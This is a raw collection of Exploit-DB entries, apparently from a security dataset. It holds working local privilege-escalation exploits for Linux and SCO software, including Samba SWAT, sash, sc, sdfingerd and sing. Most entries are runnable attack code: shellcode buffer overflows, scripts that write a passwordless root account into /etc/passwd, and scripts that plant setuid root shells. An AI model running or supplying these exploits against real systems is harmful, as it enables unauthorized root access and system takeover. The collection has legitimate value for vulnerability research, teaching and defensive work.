deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20339
Description: Samba 2.0.7 - SWAT Symlink (2)
Type: local
Platform: linux
Date: 2000-11-01
Author: Optyx

Exploit:
source: https://www.securityfocus.com/bid/1872/info
 
The Samba software suite is a collection of programs that implements the SMB protocol for unix systems, allowing you to serve files and printers to Windows, NT, OS/2 and DOS clients. This protocol is sometimes also referred to as the LanManager or Netbios protocol. Samba ships with a utility titled SWAT (Samba Web Administration Tool) which is used for remote administration of the Samba server and is by default set to run from inetd as root on port 701. Certain versions of this software ship with a vulnerability local users can use to leverage root access.
 
This problem in particular is a symlink problem where user can take advantage of poor programming in SWAT's logging facilities (which are not enabled by default) to overwrite files with user specified data. In this case, the logging is enabled under SWAT it logs by default to:
 
/tmp/cgi.log
 
This file logs all traffic to the web service, regrettably this file does not have restrictive permissions set on it and local users may symlink
the file to any other file (which they have read access to) on the system. They can then connect to the port in question (701 by default) and have the data they type in entered into a file of their choice, typically /etc/passwd .


#!/bin/sh
# swat for samba 2.0.7 compiled with cgi logging exploit
# discovered by miah <miah@uberhax0r.net>
# exploit by optyx <optyx@uberhax0r.net>
if [ -f /tmp/cgi.log ]; then
if [ `rm -f /tmp/cgi.log` ]; then
echo "/tmp/cgi.log exists and cannot be deleted"
exit
fi
fi
echo "backing up /etc/passwd"
cp -pd /etc/passwd /tmp/.bak
touch -r /etc/passwd /tmp/.bak
ln -s /etc/passwd /tmp/cgi.log
echo "connecting to swat"
echo -e "uberhaxr::0:0:optyx r0x y3r b0x:/:/bin/bash\n"| nc -w 1 localhost swat
if [ `su -l uberhaxr -c "cp /bin/bash /tmp/.swat"` ]; then
echo "exploit failed"
rm /tmp/.bak
rm /tmp/cgi.log
exit
fi
su -l uberhaxr -c "chmod u+s /tmp/.swat"
echo "restoring /etc/passwd"
su -l uberhaxr -c "cp -pd /tmp/.bak /etc/passwd; \
chown root.root /etc/passwd; \
touch -r /tmp/.bak /etc/passwd"
rm /tmp/.bak
rm /tmp/cgi.log
echo "got root? (might want to rm /tmp/.swat)"
/tmp/.swat
Exploit-DB #20776
Description: Samba 2.0.x - Insecure TMP File Symbolic Link
Type: local
Platform: linux
Date: 2001-04-17
Author: Gabriel Maggiotti

Exploit:
// source: https://www.securityfocus.com/bid/2617/info

Samba is a flexible file sharing packaged maintained by the Samba development group. It provides interoperatability between UNIX and Microsoft Windows systems, permitting the sharing of files and printing services.

A problem in the package could make it possible to deny service to legitimate users. Due to the insecure creation of files in the /tmp file system, it is possible for a user to create a symbolic link to other files owned by privileged users in the system, such as system device files, and write data to the files.

This vulnerability makes it possible for a local user to deny service to other users of the system, and potentially gain elevated privileges. 

/*
 * Samba Server r00t exploit
 *
 * Scope: Local (this exploit) and posible remote if conditions are given.
 * Vuln:
 *      RedHat 5.1
 *      RedHat 5.2
 *      RedHat 6.0
 *      RedHat 6.1
 *      RedHat 6.2
 *      RedHat 7.0
 *      RedHat 7.1
 *      I don't know if other versions are vulnerable too.
 *
 * Run this exploit and then take a look at your passwd file.
 * Run: ./samba-exp user
 *
 * Author:      Gabriel Maggiotti
 * Email:       gmaggiot@ciudad.com.ar
 * Webpage:     http://qb0x.net
 */


#include <stdio.h>
#include <string.h>

int main(int argc,char *argv[])
{
char inject1[]=
        "\x2f\x62\x69\x6e\x2f\x72\x6d\x20\x2d\x72\x66\x20\x2f"
        "\x74\x6d\x70\x2f\x78\x2e\x6c\x6f\x67";
char inject2[]=
        "\x2f\x62\x69\x6e\x2f\x6c\x6e\x20\x2d\x73\x20\x2f\x65"
        "\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x2f\x74\x6d"
        "\x70\x2f\x78\x2e\x6c\x6f\x67";
char inject3a[100]=
        "\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x73\x6d\x62\x63"
        "\x6c\x69\x65\x6e\x74\x20\x2f\x2f\x6c\x6f\x63\x61\x6c"
        "\x68\x6f\x73\x74\x2f\x22\xa\xa";
char inject3b[]=
        "\x3a\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e"
        "\x2f\x73\x68\x5c\x6e\x22\x20\x2d\x6e\x20\x2e\x2e\x2f"
        "\x2e\x2e\x2f\x2e\x2e\x2f\x74\x6d\x70\x2f\x78\x20\x2d"
        "\x4e\xa";

if(argc!=2){
        fprintf(stderr,"usage: %s <user>\n",*argv);
        return 1;
        }
strcat(inject3a,argv[1]);
strcat(inject3a,inject3b);
system(inject1, 0);
system(inject2, 0);
system(inject3a, 0);

return 0;
}
Exploit-DB #23674
Description: Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege Escalation
Type: local
Platform: linux
Date: 2004-02-09
Author: Martin Fiala

Exploit:
source: https://www.securityfocus.com/bid/9619/info

A local privilege escalation vulnerability has been reported to affect the 2.6 Linux kernel.

The issue appears to exist due to a lack of sufficient sanity checks performed when executing a file that is hosted on a remote Samba share. An attacker may exploit this condition to gain elevated privileges, as the setuid/setgid bit of a remote file is honored on the local system.

misko@slovakia:~$ smbmount --version
Usage: mount.smbfs service mountpoint [-n] [-o options,...]
Version 3.0.1-Debian

misko@slovakia:~$ ls -l /usr/bin/smbmount
- - -rwxr-xr-x 1 root root[PII_REDACTED]-01-13 20:29 /usr/bin/smbmount
misko@slovakia:~$ ls -l /usr/bin/smbmnt
- - -rwsr-sr-x 1 root root 8088 2004-01-13 20:29 /usr/bin/smbmnt
^

Confirmed to be default on Debian and Mandrake.

share:/data/share# cat a.c
main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

share:/data/share# make a
cc a.c -o a
share:/data/share# chmod +s a
share:/data/share#

share:/etc/samba/smb.conf

[share]
path = /data/share
writable = no
locking = no
public = yes
guest ok = yes
comment = Share

share:/data/share# ls -l a
- - -rwsr-sr-x 1 root root 11716 Feb 8 12:39 a

misko@slovakia:~$ ls -l pokus/a
- - -rwsr-sr-x 1 root root 11716 2004-02-08 12:39 pokus/a
misko@slovakia:~$ pokus/a
root@slovakia:~# id
uid=0(root) gid=0(root) skupiny=1000(misko),0(root),29(audio),100(users),1034(mtr),1035(333)
root@slovakia:~#
Exploit-DB #22531
Description: SAP Database 7.3/7.4 - SDBINST Race Condition
Type: local
Platform: linux
Date: 2003-04-23
Author: Larry W. Cashdollar

Exploit:
source: https://www.securityfocus.com/bid/7421/info

SAP Database SDBINST has been reported prone to a race condition vulnerability.

It has been reported that the SAP Database install tool SDBINST may perform operations non-atomically when installing the SAP database. This condition may open a window of opportunity for a malicious user to replace one of two SAP Database files with a malicious file, before SBDINST sets the setuid bit on the files.

An attacker may exploit this vulnerability to gain root privileges. 

#!/bin/perl

while (1) {

$test =`grep -sh PRECOM.ins
/tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/LIST*`;

if ( $test =~ /PRECOM/ ) {
system("cp /home/lwc/run /usr/sapdb/depend/pgm/lserver");
exit(1);
}

}
Exploit-DB #924
Description: sash 3.7 - Local Buffer Overflow
Type: local
Platform: linux
Date: 2005-04-08
Author: lammat

Exploit:
/*  sash-3.7 buffer overflow in c argyment
	written by lammat for practice purposes
		http://grpower.ath.cx
		lammat@iname.com

(gdb) r -c `perl -e 'print "A"x10256'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /sbin/sash -c `perl -e 'print "A"x10256'`
warning: shared library handler failed to enable breakpoint

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

static char shellcode[]=
"\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";


#define NOP     0x90
#define LEN     10256
#define RET     0xbfff7770

int main()
{
char buffer[LEN];
long retaddr = RET;
int i;

fprintf(stderr,"using address 0x%lx\n",retaddr);

/* Filling the buffer... */

for (i=0;i<LEN;i+=4)
   *(long *)&buffer[i] = retaddr;

for (i=0;i<(LEN-strlen(shellcode)-100);i++)
   *(buffer+i) = NOP;

memcpy(buffer+i,shellcode,strlen(shellcode));
/* Executing sash */

execlp("/sbin/sash","sash","-c",buffer);
return 0;
}

// milw0rm.com [2005-04-08]
Exploit-DB #44279
Description: SC 7.16 - Stack-Based Buffer Overflow
Type: local
Platform: linux
Date: 2018-03-12
Author: Juan Sacco

Exploit:
# Exploit Author: Juan Sacco - http://www.exploitpack.com <jsacco@exploitpack.com>
# Bug found using Exploit Pack - Local fuzzer feature.
#
# Tested on: GNU/Linux - Kali Linux
# Filename: pool/main/s/sc/sc_7.16-4+b2_i386.deb
#
# Description: SC v7.16 is prone to a basic stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: SC v7.16 - http://www.ibiblio.org/pub/Linux/apps/financial/spreadsheet/!INDEX.html
#
#
#[----------------------------------registers-----------------------------------]
#EAX: 0x0
#EBX: 0x41414141 ('AAAA')
#ECX: 0x42 ('B')
#EDX: 0x1
#ESI: 0x41414141 ('AAAA')
#EDI: 0x41414141 ('AAAA')
#EBP: 0x41414141 ('AAAA')
#ESP: 0xbfffee30 --> 0xbffff100 --> 0xb7fd9000 (jg     0xb7fd9047)
#EIP: 0x41424344 ('DCBA')
#EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
#[-------------------------------------code-------------------------------------]
#Invalid $PC address: 0x41424344
#[------------------------------------stack-------------------------------------]
#0000| 0xbfffee30 --> 0xbffff100 --> 0xb7fd9000 (jg     0xb7fd9047)
#0004| 0xbfffee34 --> 0x1
#0008| 0xbfffee38 --> 0x0
#0012| 0xbfffee3c --> 0x0
#0016| 0xbfffee40 --> 0xf63d4e2e
#0020| 0xbfffee44 --> 0xb7fe4bf9 (<do_lookup_x+1689>: add    esp,0x20)
#0024| 0xbfffee48 --> 0x1
#0028| 0xbfffee4c --> 0x1
#[------------------------------------------------------------------------------]
#Legend: code, data, rodata, value
#Stopped reason: SIGSEGV
#0x41424344 in ?? ()
#gdb-peda$ backtrace
##0  0x41424344 in ?? ()
##1  0xbffff100 in ?? ()
#Backtrace stopped: previous frame inner to this frame (corrupt stack?)
#gdb-peda$
#
#==2332==
#==2332== Jump to the invalid address stated on the next line
#==2332==    at 0x41424344: ???
#==2332==  Address 0x41424344 is not stack'd, malloc'd or (recently) free'd
#==2332==
#==2332==
#==2332== Process terminating with default action of signal 11 (SIGSEGV)
#==2332==  Access not within mapped region at address 0x41424344
#==2332==    at 0x41424344: ???
import subprocess
import os

buffersize =  1052
nopsled = "\x90"
# Shell
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
eip = "\x10\xf0\xff\xbf"
buffer = nopsled * (buffersize-len(shellcode)) + eip

try:
   subprocess.call(["/usr/bin/sc", buffer])
except OSError as e:
   if e.errno == os.errno.ENOENT:
       print "SC binary not found!"
   else:
    print "Error executing exploit"
   raise
Exploit-DB #19499
Description: SCO Open Server 5.0.5 - X Library Buffer Overflow (1)
Type: local
Platform: linux
Date: 1999-09-09
Author: Brock Tellier

Exploit:
// source: https://www.securityfocus.com/bid/638/info

A buffer overflow vulnerability in the shared X library may allows local users to obtain higher privileges. Any setuid applications linked against the library are possibly vulnerable. The vulnerability is in the handling of the '-bg' command line parameter.


Setuid root applications known to be vulnerable inclue xload, xmcd, xterm, and scoterm.

Setuid bin applications known to be vulnerable include scosession. 

/* SCO 5.0.x
 * scosession local bin exploit (sgid bin)
 * Will set egid=2(bin)
 *
 * gcc -o scosessionx scosessionx.c
 *
 * ./scosessionx <offset> <bufsiz>
 *
 * Brock Tellier btellier@webley.com
 */


#include <stdlib.h>
#include <stdio.h>

char scoshell[]= /* doble@iname.com */
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";


#define LEN 10000
#define NOP 0x90

unsigned long get_sp(void) {

__asm__("movl %esp, %eax");

}


int main(int argc, char *argv[]) {

long int offset=0;

int i;
int buflen = LEN;
long int addr;
char buf[LEN];

if(argc > 3) {
 fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
 exit(0);
}
else if (argc == 3) {
 offset=atoi(argv[1]);
        buflen=atoi(argv[2]);
}
 else {
   offset=9000;
   buflen=2000;


 }


addr=get_sp();

fprintf(stderr, "scosession local exploit for SCO OpenServer 5.0.x\n");
fprintf(stderr, "By Brock Tellier btellier@webley.com\n\n");
fprintf(stderr, "Using addr: 0x%x\n", addr-offset);


memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
for(i=((buflen/2) + strlen(scoshell))+4;i<buflen-4;i+=4)
 *(int *)&buf[i]=addr+offset;

execl("/usr/bin/X11/scosession", "scosession", "-bg", buf, NULL);

}
Exploit-DB #19500
Description: SCO Open Server 5.0.5 - X Library Buffer Overflow (2)
Type: local
Platform: linux
Date: 1999-06-21
Author: The Dark Raver of CPNE

Exploit:
// source: https://www.securityfocus.com/bid/638/info
 
A buffer overflow vulnerability in the shared X library may allows local users to obtain higher privileges. Any setuid applications linked against the library are possibly vulnerable. The vulnerability is in the handling of the '-bg' command line parameter.
 
 
Setuid root applications known to be vulnerable inclue xload, xmcd, xterm, and scoterm.
 
Setuid bin applications known to be vulnerable include scosession. 

/*
 * <scotermx.c> Local root exploit 
 *
 * Offset: scoterm (SCO OpenServer 5.0.4)
 * 0 -> From an open scoterm (without display parameter)
 * 2500 -> From remote telnet (with display parameter)
 *
 * Usage: 
 * $ cc scotermx.c -o scotermx
 * $ scoterm 
 * $ /usr/bin/X11/scoterm -geometry `scotermx 0`
 *                      or
 * $ /usr/bin/X11/scoterm -display 1.1.1.1:0 -geometry `scotermx 2500`
 *
 * Note: scoterm need to be run from a valid x-display
 *
 * By: The Dark Raver of CPNE (Murcia/Spain - 21/6/99) 
 *
 * <http://members.tripod.com/~ochodedos> - <doble@iname.com>
 *
 */ 


#include <stdlib.h>
#include <stdio.h>


char hell[]=
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

/*
char hell[]=
"\xeb\x1b" // start: jmp uno 
"\x5e" // dos: popl %esi
"\x31\xdb" // xorl %ebx,%ebx
"\x89\x5e\x07" // movb %bl,0x7(%esi)
"\x89\x5e\x0c" // movl %ebx,0x0c(%esi)
"\x88\x5e\x11" // movb %bl,0x11(%esi)
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3b" // movb $0x3b,%al
"\x8d\x7e\x07" // leal 0x07(%esi),%edi
"\x89\xf9" // movl %edi,%ecx
"\x53" // pushl %ebx
"\x51" // pushl %ecx
"\x56" // pushl %esi
"\x56" // pushl %esi
"\xeb\x10" // jmp execve
"\xe8\xe0\xff\xff\xff" // uno: call dos
"/bin/sh"
"\xaa\xaa\xaa\xaa"
"\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0 
*/

                       
#define OFF 0x80452ff   // SCO OpenServer 5.0.4
#define ALINEA 1
#define LEN 2000
                       

int main(int argc, char *argv[]) {

int offset=0;
char buf[LEN];
int i;

if(argc < 2) {
        printf("Usage: scotermx <offset>\n"); 
        exit(0); }
else {
        offset=atoi(argv[1]); }

memset(buf,0x90,LEN);
memcpy(buf+1000,hell,strlen(hell));
for(i=1100+ALINEA;i<LEN-4;i+=4)
        *(int *)&buf[i]=OFF+offset;

for(i=0;i<LEN;i++)
        putchar(buf[i]);
        
exit(0);        
}
Exploit-DB #21732
Description: SCPOnly 2.3/2.4 - SSH Environment Shell Escaping
Type: local
Platform: linux
Date: 2002-08-20
Author: Derek D. Martin

Exploit:
source: https://www.securityfocus.com/bid/5526/info

scponly is a freely available, open source restricted secure copy client. It is available for Unix and Linux operating systems.

The default installation of scponly does not place sufficient access controls on the .ssh subdirectory. Due to this
oversight, it is possible for a remote user to upload files which may allow command execution. This could lead to
unintended command execution, and regular shell access to a vulnerable host.

For example, the user could scp the following to
$HOME/.ssh/environment:

# ssh environment
PATH=/home/myhomedir/:/usr/bin:/bin
#end

Subsequently, the user could upload the following file to their home
directory, and call it scp:

#!/bin/sh

echo "I'm a bad boy" > /tmp/exploit
/usr/bin/scp $@

# end

When they next scp a file:

[root@restricted /tmp]
# ls -l
total 24
-rw-r--r-- 1 bonehead bonehead 14 Aug 19 22:46 exploit
[root@restricted /tmp]
# cat exploit
I'm a bad boy
Exploit-DB #4028
Description: Screen 4.0.3 (OpenBSD) - Local Authentication Bypass
Type: local
Platform: linux
Date: 2008-06-18
Author: Rembrandt

Exploit:
                     _   _ _____ _     ___ _____ _   _
                   / / / / ____/ /   /  _/_  __/ / / /
                  / /_/ / __/ / /    / /  / / / /_/ /
                 / __  / /___/ /____/ /  / / / __  /
                /_/ /_/_____/_____/___/ /_/ /_/ /_/
                           Helith - 0815
--------------------------------------------------------------------------------

Author		 : Rembrandt
Date		 : 2007-06-03
Affected Software: screen <= 4.0.3
Affected OS	 : OpenBSD up to 4.4 (and propably others)
Type		 : Local Authentication Bypass

OSVDB		 : 39587
Milw0rm		 : 4028
CVE		 : 2007-3048
ISS X-Force:	 : 34693

screen, on some operating systems, is vulnerable to a local terminal screen 
lock authentication bypass that may allow physically proximate attackers to 
gain access to the system.

This issue has been confirmed on OpenBSD with screen 4.0.3 on x86/amd64.
The underlying vulnerability may be related to 3rd party authentication such
as PAM. This issue was tested on OpenSuSE with screen 4.0.2 and was not
vulnerable.


Steps to reproduce:

$ screen -S test
[Screened session starts]
$ id
uid=1001(test) gid=1001(test) groups=1001(test)
$ 
[type  ctrl-a x]
Key:  test
Again:  test
Screen used by test <test>.
Password:
[type  ctrl-c]
$ screen -r
[Regained access to screen, without password]

The screen lock mechanism is designed to lock a terminal, not the entire shell 
session. If an attacker has shell access to the target account, it is understood
they can bypass protection. However, on the system tested, the screen lock
mechanism was bypassed using 'ctrl-c'.

The vulnerability is not in OpenBSD. screen developers indicate this is known
behavior, but do not appear to fully understand the scenario with which 
this can be abused. Replies to my initial disclosure suggest this may be
related to PAM authentication, or another 3rd party package. Testing was
not performed to fully identify the vulnerable code.

Tobias Ulmer has committed a patch to the screen code that prevents
this exploit from happening.


Kind regards,
Rembrandt

# milw0rm.com [2008-06-18]
Exploit-DB #22806
Description: SDFingerD 1.1 - Failure To Drop Privileges Privilege Escalation
Type: local
Platform: linux
Date: 2003-06-19
Author: V9

Exploit:
source: https://www.securityfocus.com/bid/7977/info

sdfingerd has been reported prone to a local privilege escalation vulnerability. The issue presents itself because the sdfingerd daemon fails to sufficiently drop group privileges before executing commands that are contained in a users .plan file. 

#!/bin/sh
# sdfingerd[v1.1]: local root(gid=0) exploit.
# by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)
#
# sdfingerd URL/reference:
#  http://www.schmolze.com/projects/sdfingerd/
#
# sdfingerd(Simple Dynamic Finger) is a finger
# daemon with the main focus of allowing users
# to be able to have dynamic .plan files.  dynamic
# as in allows users to place commands in their
# .plan file.  when a third party command is called,
# the user id privileges get set to that of the user
# being requested.  but, the group id is left as-is.
# since, this program is designed/defaulted to run
# as root via inetd, gid=0(root) is freely available.
#
# ----------------- example usage -----------------
# [v9@localhost v9]$ id
# uid=1001(v9) gid=1001(v9) groups=1001(v9)
# [v9@localhost v9]$ sh xsdfingerd.sh
# * sdfingerd[v1.1]: local root(gid) exploit.
# * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)
# * exploit successful.
# -rwx--s--- 1 v9 root 13960 Jun 18 18:38 /tmp/xsh
# sh-2.04$ id
# uid=1001(v9) gid=0(root) groups=1001(v9)
# -------------------------------------------------
echo "* sdfingerd[v1.1]: local root(gid=0) exploit."
echo "* by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)"
rm -rf ~/.plan /tmp/xsh.c /tmp/xsh
cat <<_EOF_>/tmp/xsh.c
#include <unistd.h>
#include <sys/types.h>
#include <unistd.h>
int main(){
 setregid(getegid(),getegid());
 execl("/bin/sh","sh",0);
 exit(0);
}
_EOF_
cc /tmp/xsh.c -o /tmp/xsh
cat <<_EOF_>~/.plan
\$!chown \`id -u\`.\`id -g\` /tmp/xsh!$
\$!chmod 2710 /tmp/xsh!$
_EOF_
finger ${USER}@localhost>/dev/null
rm -rf ~/.plan /tmp/xsh.c
if test -g "/tmp/xsh"
then
 echo "* exploit successful."
 ls -l /tmp/xsh
 /tmp/xsh
else
 echo "! exploit failed."
 rm -rf /tmp/xsh
fi
Exploit-DB #4698
Description: Send ICMP Nasty Garbage (SING) - Append File Logrotate
Type: local
Platform: linux
Date: 2007-12-06
Author: bannedit

Exploit:
/*
 sing file append exploit
 by bannedit

 12/05/2007

 The original reporter of this issue included an example session which
 added an account to the machine.

 The method for this exploit is slightly different and much more
 quiet. Although it relies upon logrotate for help.

 This could easily be modified to work with cron daemons which
 are not too strict about the cron file format. However,
 when I tested vixie cron it appears that there are
 better checks for file format compilance these days.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define SING_PATH "/usr/bin/sing"

char *file = "/etc/logrotate.d/sing";
char *evilname = "\n/tmp/sing {\n    daily\n    size=0\n    firstaction\n        chown root /tmp/shell; chmod 4755 /tmp/shell; rm -f /etc/logrotate.d/sing; rm -f /tmp/sing*\n    endscript\n}\n\n\n";



int main()
{
FILE *fp;
int pid;

        puts("sing file append exploit");
        puts("------------------------");
        puts("by bannedit");

        if(fp = fopen("/tmp/shell", "w+"))
        {
           fputs("#!/bin/bash\n", fp);
           fputs("/bin/bash -p", fp);
           fclose(fp);
           system("touch /tmp/sing; echo garbage >> /tmp/sing");
        }
        else
        {
           puts("error making shell file");
           exit(-1);
        }

        sleep(5);
        printf("done sleeping...\n");
        execl(SING_PATH, evilname, "-Q", "-c", "1", "-L", file, "localhost", 0);
        return 0;
}

// milw0rm.com [2007-12-06]